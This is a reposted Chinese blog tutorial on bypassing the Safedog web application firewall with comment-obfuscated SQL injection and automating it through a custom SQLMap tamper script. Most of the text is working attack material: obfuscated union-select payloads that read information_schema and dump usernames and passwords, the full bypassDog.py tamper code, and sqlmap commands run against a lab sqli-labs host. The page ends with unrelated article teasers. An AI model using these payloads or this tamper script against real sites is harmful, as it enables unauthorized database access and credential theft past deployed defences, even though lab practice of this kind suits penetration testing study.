教你编写SQLMap的Tamper脚本过狗

news2025/1/17 2:53:25

测试环境

最新版某狗

image-20221116225837107

image-20221116225753420

image-20221116235259034

测试方法

安全狗其实是比较好绕的WAF,绕过方法很多,但这里我们就用一种:注释混淆

一招鲜吃遍天

注释混淆,其实就是在敏感位置添加垃圾字符注释,常用的垃圾字符有/、!、*、%

这里再解释一下内联注释,因为后面要用到:

MySQL内联注释: /*!xxxxxxx*/ !后面的语句会当作SQL语句直接执行

但是如果!后面跟着MySQL版本号,那么就会出现两种情况

  • !后面接的数据库版本号小于自身版本号,就会将注释中的内容执行
  • !后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

数据库版本号以五位数字表示,比如当前环境下数据库版本号表示为:50553

image-20221116233353075

!后面接小于50553的:

image-20221116233608795

执行了select 1;

!后面接大于等于50553的:

image-20221116233711130

执行了 select ;

下面进入正题

bypass

and

and 1=1

image-20221116235316437

但是把空格删掉就不拦了

image-20221116235339830

所以,我们认为,and后面不能直接跟空格…

那么如果用其他形式表示空格呢?

前面说了,我们这次只使用注释混淆:

burp,抓包设置

image-20221117224958857

image-20221117225247624

长度5335是被拦截的

image-20221117225433936

长度为899的说明成功绕过

image-20221117225644883

我们选择其中一个作为空格的替代者就好了,这里我们选择/*%*

即: ->/*/*%**/

同理 ,or是一样的:

image-20221117225932271

order by

image-20221117230226839

测试发现还是只要替换order by中间的空格就可以了,所以绕过方法和前面一样:

image-20221117230449378

union select

image-20221117230705430

union select使用之前的垃圾字符替换空格发现不行了:

image-20221117230827969

但是先不急于换方法,再爆破一遍试试:

image-20221117231524071

image-20221117231535419

发现又有很多可以绕过的了。

所以我们再更改一下替换空格的垃圾字符, 这里选/*/!%!/*/

即: ->/*/!%!/*/

image-20221117231738553

获得当前数据库

正常语句:

?id=-1 union select 1,database(),3 --+

image-20221117233954379

绕过:

image-20221117234140343

即:()->(/*/!%!/*/)

获取数据库中的表

正常语句:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

image-20221117234536391

绕过:

经过测试发现拦截的是select + from + information_schema的组合

image-20221118000051636

image-20221118002146272

中间加垃圾字符替换空格已经不管用了,我们尝试对关键字进行混淆。

information_schema进行混淆测试:

首先使用内联注释,发现,这里的版本号不管写啥,都直接被拦。

image-20221123200819404

考虑是检测了select + from + /*! + information_schema的组合

加个换行试试

image-20221123203050692

还是不行…

那既然都换行了,那我们再在换行前加一些垃圾字符:

如果我们直接插入垃圾字符,会当作SQL语句执行,所以前面还需要在垃圾字符前加个注释,可以是 /**/#--+

但是经过测试只有 --+好用

image-20221123205925460

有这么多可以绕过的,我们随便选择一个,比如/*%/

这样,最终语句如下:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(table_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.tables*/%20where%20table_schema=database(/*/!%!/*/)--%20+

image-20221123210146367

image-20221123210211058

获取表字段

正常语句:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

绕过语句:

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,group_concat(column_name),3/*/!%!/*/from/*/!%!/*//*!00000--+/*%/%0ainformation_schema.columns*/%20where%20table_name=0x7573657273--%20+

image-20221123210849454

获取字段信息

?id=-1/*/!%!/*/union/*/!%!/*/select/*/!%!/*/1,/*/!%!/*/group_concat(username,0x2f,password),3/*/!%!/*/from/*/!%!/*/users

image-20221123211716244

成功。

编写tamper

当我们下载了SQLMap,解压后,我们可以找到文件夹【tamper】,该文件夹有很多个Tamper脚本帮助我们绕过一些安全防护:

image-20221123231851559

网上有很多相关脚本的介绍,我就不一一介绍了。

虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个时候就需要我们针对目标的防护体系构建相应的Tamper脚本。

Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网站。

我们随便打开一个Tamper脚本看一下它的结构:

#apostrophemask.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.LOWEST

# 对当前脚本的介绍
def dependencies():
    pass

'''
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。
'''
def tamper(payload, **kwargs):
    """
    Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)

    References:
        * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
        * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
        * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
        * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps

    >>> tamper("1 AND '1'='1")
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
    """

    return payload.replace('\'', "%EF%BC%87") if payload else payload

可见Tamper脚本的结构非常简单,其实渗透测试中的主要难点还是如何去绕过WAF。

下面我们针对bypass部分的绕过方法进行编写Tamper脚本,来实现自动化SQL注入:

实际测试的时候发现,sqlmap默认语句中的AS关键字也会被拦截,这里也用同样的方法替换一下就好

#!/usr/bin/env python

import re

from lib.core.settings import UNICODE_ENCODING
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload = payload.replace(" ","/*/!%!/*/")
        payload = payload.replace("()","(/*/!%!/*/)")
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
        payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)        

    return payload

测试:

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent

image-20221124125849229

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent --dbs
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security --tables

image-20221124135830104

python2 sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users --columns

image-20221124135950875

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassDog.py" --proxy "http://127.0.0.1:8080/" --fresh-queries --random-agent -D security -T users -C username,password --dump --stop 3

image-20221124140241774

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/365067.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

nodejs基于vue高校学报论文在线投稿系统

在新发展的时代,众多的软件被开发出来,给用户带来了很大的选择余地,而且人们越来越追求更个性的需求。在这种时代背景下,高校只能以工作人员为导向,以稿件的持续创新作为高校最重要的竞争手段。 可定制框架:ssm/Sprin…

铅酸蓄电池废水除铅项目,出水做到0.05mg/l

某集团公司铅酸蓄电池废水除铅项目 工艺选择 沉淀系统过滤系统螯合树脂除铅系统 工艺原理 铅离子沉淀后进入螯合树脂除铅树脂 项目背景 铅酸蓄电池具有可逆性、电压特性平稳、放电量大、造价低廉等优点,应用于国民经济各个领域,但在其生产过程中&…

vue3 布局样式的原理

style scoped <style scoped > 它的 CSS 只作用于当前组件中的元素&#xff0c;如果子组件只有一个根元素&#xff0c;也会被渗透 原理&#xff1a; 当我们再组建中使用scoped时&#xff0c;vue会自动为组件中所有元素生成一个随机的属性&#xff0c;形如&#xff1a;da…

01背包—动态规划

一、背包问题概述&#xff1a; 二、暴力解法&#xff1a; 重量价值物品0115物品1320物品2430 背包最大容量为4。 每一个物品有两个状态&#xff0c;“取”或者“不取”。利用回溯法可以暴力枚举所有物品的状态的排列组合状态&#xff0c;与背包最大容量比较就可以求得最大的价…

Cloudflared 内网穿透 使用记录

Cloudflared 内网穿透前提创建cloudflared tunnel我使用的服务前提 你必须要有一个域名&#xff0c;并且可以改域名的dns解析服务商到cloudflare 1.登录到cloudflare后台&#xff0c;点击添加站点 2.输入自己的域名&#xff0c;下一步选择免费套餐 3.他会搜索这个域名下已有…

iOS自动化打包

测试阶段一般会发生这样的场景&#xff0c;测试拼命的提 Bug&#xff0c;开发拼命的改 Bug&#xff0c;改完重新打包发给测试进行复测&#xff0c;那这个过程中频繁的打包肯定是不可避免的。如果使用 Xcode 打包&#xff0c;在打包期间我们是无法改剩余的 Bug 或进行其他模块的…

大规模 IoT 边缘容器集群管理的几种架构-3-Portainer

前文回顾 大规模 IoT 边缘容器集群管理的几种架构-0-边缘容器及架构简介大规模 IoT 边缘容器集群管理的几种架构-1-RancherK3s大规模 IoT 边缘容器集群管理的几种架构-2-HashiCorp 解决方案 Nomad大规模 IoT 边缘容器集群管理的几种架构-3-Portainer &#x1f4da;️Reference…

你好,Cartesi 社区资助计划

这是一个由社区驱动的计划&#xff0c;它将为贡献者提供资金&#xff0c;并且可以帮助建立和扩展 Cartesi的生态系统对于那些一直在寻求支持以实现他们想法的开发人员&#xff0c;那些有兴趣帮助建设塑造我们发展生态系统的Cartesi 爱好者们。我们很兴奋的宣布我们推出了Cartes…

【华为OD机试模拟题】用 C++ 实现 - 新学校选址(2023.Q1)

最近更新的博客 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】 华为OD机试 - 箱子之形摆放(C++) | 附带编码思路 【2023】 华为OD机试 - 简易内存池 2(C++) | 附带编码思路 【2023】 华为OD机试 - 第 N 个排列(C++) | 附带编码思路 【2023】 华为OD机试 - 考古…

Java 的 JDBC 编程

一、数据库编程的必备条件二、Java 的数据库编程 JDBC三、JDBC 工作原理四、JDBC 使用4.1 下载驱动包4.2 打开编辑器&#xff0c;添加依赖4.3 编写连接数据库代码一、数据库编程的必备条件 编程语言&#xff0c;例如 Java、C、C、Python 等.数据库&#xff0c;如 Oracle、MySQ…

机器学习------ 基于ubuntu 22.04 系统下的pytorch 安装记录过程(包含cuda和cudnn的安装)

机器学习----- pytorch的安装过程 最近&#xff0c;在学习机器学习&#xff0c;在对于理论方面进行一段时间的学习后&#xff0c;打算开始上手代码。在此之前&#xff0c;选择了pytorch作为学习的工具&#xff0c;这里记录下安装的过程。在这里&#xff0c;先把我的设备展示一…

乌卡时代的云成本管理:从0到1了解FinOps

在上一篇文章中&#xff0c;我们介绍了企业云业务的成本构成以及目前面临的成本困境&#xff0c;以及当前企业逐步转向 FinOps 的行业趋势&#xff0c;这篇文章我们将详细聊聊 FinOps&#xff0c;包括概念、重要性以及成熟度评价指标。 随着对云服务和供应商的使用越来越多&…

2023年博管办香江学者计划、澳门青年学者开始申报

2023年2月20日&#xff0c;全国博士后管委会办公室官方网站发出了2023年香江学者计划、澳门青年学者计划和博士后国&#xff08;境&#xff09;外学术交流项目申报指南&#xff0c;以下知识人网小编仅转载香江学者计划和澳门青年学者计划申报指南并做重点解读。知识人网整理香江…

分布式之gossip共识算法分析

写在前面 假如你的业务对系统的可用性要求非常高&#xff0c;就算集群只剩下一个节点&#xff0c;也要能够正常对外提供服务&#xff08;虽然此时系统能力已经骤降&#xff0c;但至少还在&#xff01;&#xff09;&#xff0c;因为raft 要求大多数节点可用所以就没有用武之地了…

【2223sW1】LOG1

这里写自定义目录标题写在前面23.2.19报错Unable to allocate xxx GiB for an array with shape (xxxx, xxxx)23.2.20psi6图片绘制选择了部分r&#xff0c;绘制了g6&#xff08;r&#xff09;23.2.21从lammpstrj文件中导出了1001X6个csv文件虚拟内存扩展代码运行占用资源查询写…

字符串转换为二进制-课后程序(JAVA基础案例教程-黑马程序员编著-第五章-课后作业)

【案例5-4】 字符串转换为二进制 【案例介绍】 1.任务描述 本例要求编写一个程序&#xff0c;从键盘录入一个字符串&#xff0c;将字符串转换为二进制数。在转换时&#xff0c;将字符串中的每个字符单独转换为一个二进制数&#xff0c;将所有二进制数连接起来进行输出。 案…

PowerJob容器的今生,容器是如何部署到Worker上,并正常运行的

这仅仅是一篇PowerJob源码分析的文章&#xff0c;但是也有一些java基础知识&#xff0c;在实践中学习效果更好&#xff0c;感兴趣就留下来交流一下吧。 上回书说到&#xff0c;这个powerjob容器是如何生成模板&#xff0c;如何上传到服务器上去&#xff0c;本回主要总结的是&am…

死磕Node模块兼容性,ESM和CJS我全都要!

目录 前言 一些概念 CJS&#xff08;CommonJS&#xff09; ESM&#xff08;ECMAScript Modules&#xff09; 兼容操作 效果演示 总结 前言 在Node版本13.2.0&#xff08;2019年&#xff09;之前&#xff0c;我们一般使用CJS&#xff08;CommonJS&#xff09;模式在代码…

Java JDBC详解

1、JDBC概念、本质、好处 概念&#xff1a; JDBC 就是使用Java语言操作关系型数据库的一套API 全称&#xff1a;( Java DataBase Connectivity ) Java 数据库连接 本质&#xff1a; 官方&#xff08;sun公司&#xff09;定义的一套操作所有关系型数据库的规则&#xff0c;即接口…

展现AI与自动化测试技术之间的神奇化学反应

目录 零&#xff1a;前言 一、介绍 1.1、什么是自动化测试技术 1.2、痛点 1.3、几款优秀的自动化测试工具介绍 1.3.1、Selenium 1.3.2、龙测AI-TestOps云平台 1.3.3、TestCafe 二、实操 2.1、主要功能模块介绍 2.2、实战演练 2.2.1、创建web项目 2.2.2、录制流程图…